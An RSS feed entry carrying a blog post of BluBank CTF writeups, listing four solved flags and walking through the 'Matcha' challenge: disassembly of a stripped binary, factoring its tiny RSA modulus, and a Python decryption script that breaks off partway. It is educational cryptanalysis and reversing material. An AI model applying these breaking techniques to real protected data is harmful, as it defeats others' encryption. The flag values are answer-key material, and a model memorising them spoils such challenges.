<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>0xBlu3Guy</title><description>My safe corner of the internet.</description><link>https://0xblu3guy.github.io/blog</link><language>en</language><item><title>Writeups for some of the BluBank CTF challenges</title><link>https://0xblu3guy.github.io/blog/posts/blubank-ctf-writeups</link><guid isPermaLink="true">https://0xblu3guy.github.io/blog/posts/blubank-ctf-writeups</guid><description>Four BluBank CTF writeups: 19-digit RSA in a stripped binary, an Android vault that encrypts its own key, and a zero-knowledge proof that leaks.</description><pubDate>Tue, 20 Oct 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;BluBank, one of Iran’s large banks, ran its CTF on Wednesday, 16 September 2026,
with challenges across reversing, cryptography, mobile and web. I took part, and
these are writeups for four of the challenges I solved: &lt;code&gt;Matcha&lt;/code&gt;, &lt;code&gt;GreenChain&lt;/code&gt;,
&lt;code&gt;SoftFocus&lt;/code&gt;, and a second instance of &lt;code&gt;SoftFocus&lt;/code&gt;. They have almost nothing in
common mechanically. One is a stripped x86-64 binary doing RSA with a modulus
small enough to factor on a laptop. One is an Android app that encrypts its own
trust anchor under a key derived from its package name. One is a zero-knowledge
proof bundle that hides an eight-component secret behind three transcripts, which
turns out to be barely enough equations.&lt;/p&gt;
&lt;p&gt;The flags are all stale now, so I can write them up with the actual values in
place. Two of the four needed no network at all, and the two web ones needed four
requests each.&lt;/p&gt;
&lt;div class=&quot;callout callout--note&quot; role=&quot;note&quot;&gt;
&lt;p class=&quot;callout__title&quot;&gt;Disclosure&lt;/p&gt;
&lt;p&gt;These challenges were solved with the help of AI. I set up the workspace and the
rules the work ran under, and I checked the evidence behind every flag before
recording it, but the reversing, the cryptanalysis and most of the scripts in
these writeups were produced with AI assistance.&lt;/p&gt;
&lt;/div&gt;






























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Challenge&lt;/th&gt;&lt;th&gt;Type&lt;/th&gt;&lt;th&gt;Flag&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Matcha&lt;/td&gt;&lt;td&gt;reversing + crypto, local binary&lt;/td&gt;&lt;td&gt;&lt;code&gt;BDD{03d5a29801f0f97e40d84e83eb53562d}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;GreenChain&lt;/td&gt;&lt;td&gt;Android reversing + crypto&lt;/td&gt;&lt;td&gt;&lt;code&gt;BDD{steward_signed_the_green_chain}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;SoftFocus&lt;/td&gt;&lt;td&gt;crypto, broken zero-knowledge prover&lt;/td&gt;&lt;td&gt;&lt;code&gt;BDD{7ace6e3cf983d3b205de1dc3f2dd59af53f133981d8f5fe10b30df54dad1d4a1}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;SoftFocus (second instance)&lt;/td&gt;&lt;td&gt;same, fresh secrets&lt;/td&gt;&lt;td&gt;&lt;code&gt;BDD{43b4507edae2809cb031d7fd8b6ee9bff67d7b46fb5ac3143231a89bfabdd590}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;h2 id=&quot;matcha-rsa-with-a-19-digit-modulus&quot;&gt;Matcha: RSA with a 19-digit modulus&lt;/h2&gt;
&lt;p&gt;The archive held two files:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-dimmed&quot; style=&quot;background-color:#22272e;color:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;matcha     ELF 64-bit LSB pie executable, x86-64, stripped, dynamically linked, 14528 bytes&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;flag.enc   ASCII text, 5 lines of 16 hex characters&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;strings&lt;/code&gt; told me the shape of the program before I opened a disassembler:
&lt;code&gt;fopen&lt;/code&gt;, &lt;code&gt;fread&lt;/code&gt;, &lt;code&gt;fwrite&lt;/code&gt;, the literals &lt;code&gt;flag.txt&lt;/code&gt; and &lt;code&gt;flag.enc&lt;/code&gt;, and the format
string &lt;code&gt;%016llx&lt;/code&gt;. It reads a plaintext flag, encrypts it, and writes one 64-bit
value per line. Five lines mean five blocks of 8 bytes, so the flag is between 33
and 40 bytes.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;.text&lt;/code&gt; is 0x621 bytes. At that size the whole program is readable by hand, so
that is what I did: &lt;code&gt;objdump -d -M intel&lt;/code&gt; into a file, &lt;code&gt;readelf -h&lt;/code&gt; for the entry
point. &lt;code&gt;_start&lt;/code&gt; at &lt;code&gt;0x14a0&lt;/code&gt; ends in a &lt;code&gt;lea&lt;/code&gt; into &lt;code&gt;main&lt;/code&gt; at &lt;code&gt;0x1100&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&quot;the-block-function&quot;&gt;The block function&lt;/h3&gt;
&lt;p&gt;Inside &lt;code&gt;main&lt;/code&gt;, the round function at &lt;code&gt;0x1290&lt;/code&gt; runs once per 8-byte block:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-dimmed&quot; style=&quot;background-color:#22272e;color:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;asm&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;1290&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;  mov&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; edi&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;0xffffffa3&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;1299&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;  sub&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; edi&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;r13d&lt;/span&gt;&lt;span style=&quot;color:#768390&quot;&gt;                  ; edi = (0xffffffa3 - 8*block_index) &amp;#x26; 0xffffffff&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;12cb  &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;movzx&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; edx&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;BYTE&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; PTR [&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;r14&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;rax&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;]  &lt;/span&gt;&lt;span style=&quot;color:#768390&quot;&gt;; plaintext byte&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;12d0  &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;lea&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; ecx&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;, [&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;rax&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;]               &lt;/span&gt;&lt;span style=&quot;color:#768390&quot;&gt;; shift = 8*j&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;12db  &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;xor&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; edx&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;edi&lt;/span&gt;&lt;span style=&quot;color:#768390&quot;&gt;                   ; XOR with low byte of edi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;12dd  &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;add&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; edi&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;0x5f&lt;/span&gt;&lt;span style=&quot;color:#768390&quot;&gt;                  ; edi += 0x5f   (rolling key)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;12e3&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;  shl&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; rdx&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;cl&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;12e6&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;  or&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;  rsi&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;rdx&lt;/span&gt;&lt;span style=&quot;color:#768390&quot;&gt;                   ; little-endian assembly into S&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;12e9&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;  cmp&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; rax&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color:#768390&quot;&gt; ; jne 12c0          ; 8 bytes per block&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The key byte starts at &lt;code&gt;0xa3&lt;/code&gt; and advances by &lt;code&gt;0x5f&lt;/code&gt; for every byte, so the mask
changes inside a block as well as between blocks. Then &lt;code&gt;S&lt;/code&gt; goes through a
square-and-multiply loop with the exponent &lt;code&gt;0x10001&lt;/code&gt; (65537, visible in two
places), against the modulus &lt;code&gt;0x7c11472b66a24399&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-dimmed&quot; style=&quot;background-color:#22272e;color:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;asm&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;12f4  &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;mov&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; r12d&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;0x11&lt;/span&gt;&lt;span style=&quot;color:#768390&quot;&gt;                 ; 17-bit loop counter&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;12fa  &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;mov&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; ebp&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;0x10001&lt;/span&gt;&lt;span style=&quot;color:#768390&quot;&gt;               ; 65537&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;131f  movabs &lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;rax&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;0x7c11472b66a24399&lt;/span&gt;&lt;span style=&quot;color:#768390&quot;&gt; ; modulus&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;1329&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;  imul&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; rax&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;r15&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;132d&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;  sub&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; rsi&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;rax&lt;/span&gt;&lt;span style=&quot;color:#768390&quot;&gt;                   ; rsi = S mod D&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;1330&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;  cmp&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt; QWORD&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; PTR [&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;rip&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;0x2d10&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;], &lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#768390&quot;&gt;  ; zero-initialised flag&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;1338&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;  cmove&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; rbx&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;rsi&lt;/span&gt;&lt;span style=&quot;color:#768390&quot;&gt;                 ; first use: key = S mod D&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That is textbook RSA encryption of each block, with a public exponent of 65537
and a modulus that is 63 bits long. There is a key-derivation chain earlier in
&lt;code&gt;main&lt;/code&gt; that mixes a &lt;code&gt;.data&lt;/code&gt; word (&lt;code&gt;0xc0ffee00cafebabe&lt;/code&gt;) with the golden-ratio
constant and writes the result back to memory. It is decorative: the value is
overwritten before it reduces anything, and the modulus actually used is the
literal in &lt;code&gt;.text&lt;/code&gt;. I confirmed that empirically rather than by staring at it,
which is the next section.&lt;/p&gt;
&lt;h3 id=&quot;proving-the-model-before-breaking-it&quot;&gt;Proving the model before breaking it&lt;/h3&gt;
&lt;p&gt;A disassembly reading is a hypothesis until it predicts something. The binary
itself is the best oracle I had, so I copied it into a scratch directory and ran
it against chosen inputs, never touching the original &lt;code&gt;flag.enc&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-dimmed is-terminal&quot; style=&quot;background-color:#22272e;color:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line line--cmd&quot;&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;printf &apos;AAAABBBBCCCCDDDDEEEE&apos; &gt; flag.txt &amp;#x26;&amp;#x26; ./matcha &amp;#x26;&amp;#x26; cat flag.enc&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line line--output&quot;&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;1a630a78d52245da&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line line--output&quot;&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;6d417c9b413fb730&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line line--output&quot;&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;2ac5f8285adf5e64&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A Python re-implementation of the reading above reproduces both that output and a
second test vector exactly. My first model ignored the per-byte rolling key and
failed this test, which is how the correct reading was forced. That failure is in
my notes and it is worth keeping: the model was wrong, the oracle said so, and the
oracle cost thirty seconds to run.&lt;/p&gt;
&lt;h3 id=&quot;factoring-the-locked-box&quot;&gt;Factoring the locked box&lt;/h3&gt;
&lt;pre class=&quot;astro-code github-dark-dimmed&quot; style=&quot;background-color:#22272e;color:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;D = 0x7c11472b66a24399 = 8940004987038221209&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  = 3712189883 * 2408283323&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;lambda(D) = lcm(p-1, q-1)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;d = e^-1 mod lambda(D) = 4109671331615865757&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Both factors are around 2^31. A full RSA implementation with a 19-digit modulus
is the joke of the challenge, and it means the “untouchable” cipher in the blurb
is invertible with &lt;code&gt;pow&lt;/code&gt; and a factoring tool.&lt;/p&gt;
&lt;p&gt;One detail nearly cost me the last block. The binary reduces &lt;code&gt;S mod D&lt;/code&gt; before
exponentiating, so the ciphertext is invariant under &lt;code&gt;S -&gt; S + D&lt;/code&gt;, and decrypting
returns &lt;code&gt;m = S mod D&lt;/code&gt;. The true &lt;code&gt;S&lt;/code&gt; is either &lt;code&gt;m&lt;/code&gt; or &lt;code&gt;m + D&lt;/code&gt;, and &lt;strong&gt;both
re-encrypt to the identical ciphertext&lt;/strong&gt;, so a round-trip check cannot tell them
apart. Picking the printable ASCII candidate does, and in every block of
&lt;code&gt;flag.enc&lt;/code&gt; exactly one of the two candidates is text. The final block also has
three leading zero bytes in &lt;code&gt;m&lt;/code&gt;, because the buffer is not cleared before the
short block is assembled, which is what says the real chunk is 5 bytes and not 8:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-dimmed&quot; style=&quot;background-color:#22272e;color:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F47067&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; math&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;D &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt; 0x&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;7c11472b66a24399&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;e &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; 65537&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;p, q &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; 3712189883&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;2408283323&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;lam &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; (p&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;(q&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;//&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;math.gcd(p&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;, q&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;d &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; pow&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;(e, &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;, lam)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F47067&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#DCBDFB&quot;&gt; unkey&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;(S, i, n):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;    edi &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;0x&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;ffffffa3&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; 8&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;i) &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt; 0x&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;ffffffff&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;    out &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; bytearray&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F47067&quot;&gt;    for&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; j &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; range&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;(n):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;        out.append(((S &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;j)) &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt; 0x&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;ff&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; (edi &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt; 0x&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;ff&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;        edi &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; (edi &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt; 0x&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;5f&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt; 0x&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;ffffffff&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F47067&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; bytes&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;(out)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;out &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt; b&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F47067&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; i, line &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; enumerate&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;open&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt;&quot;flag.enc&quot;&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;)):&lt;/span&gt;&lt;/span&gt;
